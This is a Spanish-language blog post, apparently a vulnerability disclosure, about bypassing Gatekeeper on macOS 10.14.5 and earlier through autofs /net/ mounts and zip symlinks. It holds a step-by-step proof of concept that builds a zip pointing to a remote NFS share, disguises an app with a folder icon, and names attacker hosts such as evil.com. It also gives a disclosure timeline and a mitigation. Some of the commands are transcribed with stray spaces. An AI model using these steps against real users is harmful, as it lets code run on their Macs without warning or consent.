Evadiendo GateKeeper en Mac OS X
Visión general
En la versión de Mac OS X menor o igual a 10.14.5 (en el momento de escribir este post) es posible evadir fácilmente Gatekeeper para ejecutar código malicioso sin ninguna advertencia o permiso explícito del usuario.
Gatekeeper es un mecanismo desarrollado por Apple e incluido en Mac OS X desde 2012 que obliga la firma del código y verifica las aplicaciones descargadas antes de permitir que se ejecuten.
Por ejemplo, si un usuario descarga una aplicación desde Internet y la ejecuta, Gatekeeper evitará que se ejecute sin el consentimiento del usuario.
Detalles
En su diseño, Gatekeeper considera que tanto las unidades externas como las redes compartidas son ubicaciones seguras y permite que cualquier aplicación que contengan se ejecuten.
Al combinar este diseño con dos características legítimas de MacOS X, resultará en el engaño completo del comportamiento deseado.
La primera característica legítima es automount (también conocido como autofs) que permite a un usuario montar automáticamente un recurso compartido de red simplemente accediendo a una ruta “especial”, en este caso, cualquier ruta que comience con “/net/”.
Por ejemplo,
ls /net/evil-attacker.com/sharedfolder/
Esto hará que el sistema operativo lea el contenido de la ‘carpeta compartida’ en el host remoto (evil-attacker.com) usando NFS.
La segunda característica legítima es que los archivos zip pueden contener enlaces simbólicos que apuntan a una ubicación arbitraria (incluidos los puntos automáticos de montaje) y que el software en MacOS que se encarga de descomprimir los archivos zip no realiza ninguna comprobación en los enlaces simbólicos antes de crearlos.
Para comprender mejor cómo funciona este exploit, consideremos el siguiente escenario:
Un atacante crea un archivo zip que contiene un enlace simbólico a un punto final de montaje automático que controla (ex Documents -> /net/evil.com/Documents) y lo envía a la víctima.
La víctima descarga el archivo malicioso, lo extrae y sigue el enlace simbólico.
Ahora la víctima se encuentra en una ubicación controlada por el atacante, pero autorizada por Gatekeeper, por lo que cualquier ejecutable controlado por el atacante puede ejecutarse sin ninguna advertencia.
La forma en que se ha diseñado el Finder (por ejemplo, las extensiones .app, que ocultan la ruta completa de la barra de título) hace que esta técnica sea muy efectiva y difícil de detectar.
El siguiente video ilustra el concepto:
[ms-protect-content id=”503″]
[/ms-protect-content]
Prueba de concepto
Para ver como funciona este problema, debes seguir los siguientes pasos:
- Crear un archivo zip con un enlace simbólico a un punto final de montaje automático
- mkdir documents
- ln -s /net/linux-vm.local/nfs/Documents Documents/Documents
- zip -ry Documents.zip Documents
- Crear una aplicación (carpeta .app) con el código que deseas ejecutar
- cp -r /Applications/Calculator.app PDF.app
- echo -e ‘#! / bin / bash’ “\ n” ‘open /Applications/iTunes.app’> PDF.app/Contents/MacOS/Calculator
- chmod + x PDF.app/Contents/MacOS/Calculator
- rm PDF.app/Contents/Resources/AppIcon.icns
- ln -s /System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/GenericFolderIcon.icns PDF.app/Contents/Resources/AppIcon.icns
- Crear un recurso compartido NFS accesible al público y colocar el .app en él
- ssh linux-vm.local
- mkdir -p /nfs/Documento
- echo ‘/ nfs / Documents * (inseguro, rw, no_root_squash, anonuid = 1000, anongid = 1000, async, nohide)’ >> / etc / exports
- service nfs-kernel-server restart
- scp -r mymac.local: PDF.app /nfs /Documents/
- Ahora debes subir el archivo zip en algún lugar de Internet y descargarlo para que obtengas el indicador de cuarentena utilizada por Gatekeeper
- Finalmente debes extraer el zip (si es necesario) y navegar por él
Historia
Se le ha informado al proveedor el 22 de febrero de 2019 y está al tanto de este problema. Este problema debía tratarse, según el proveedor; pero al 15 de mayo de 2019 Apple comenzó a eliminar los correos electrónicos en donde se le informa de la vulnerabilidad.
Esto es porque Apple tiene conocimiento de la fecha límite de divulgación de 90 días, por ello se hace pública esta información.
Solución
Aún no hay solución disponible.
Una posible solución sería deshabilitar el montaje automático:
- Editar /etc/auto_master como root
- Debes comentar la línea que comienza con ‘/net’
- Finalmente tienes que reiniciar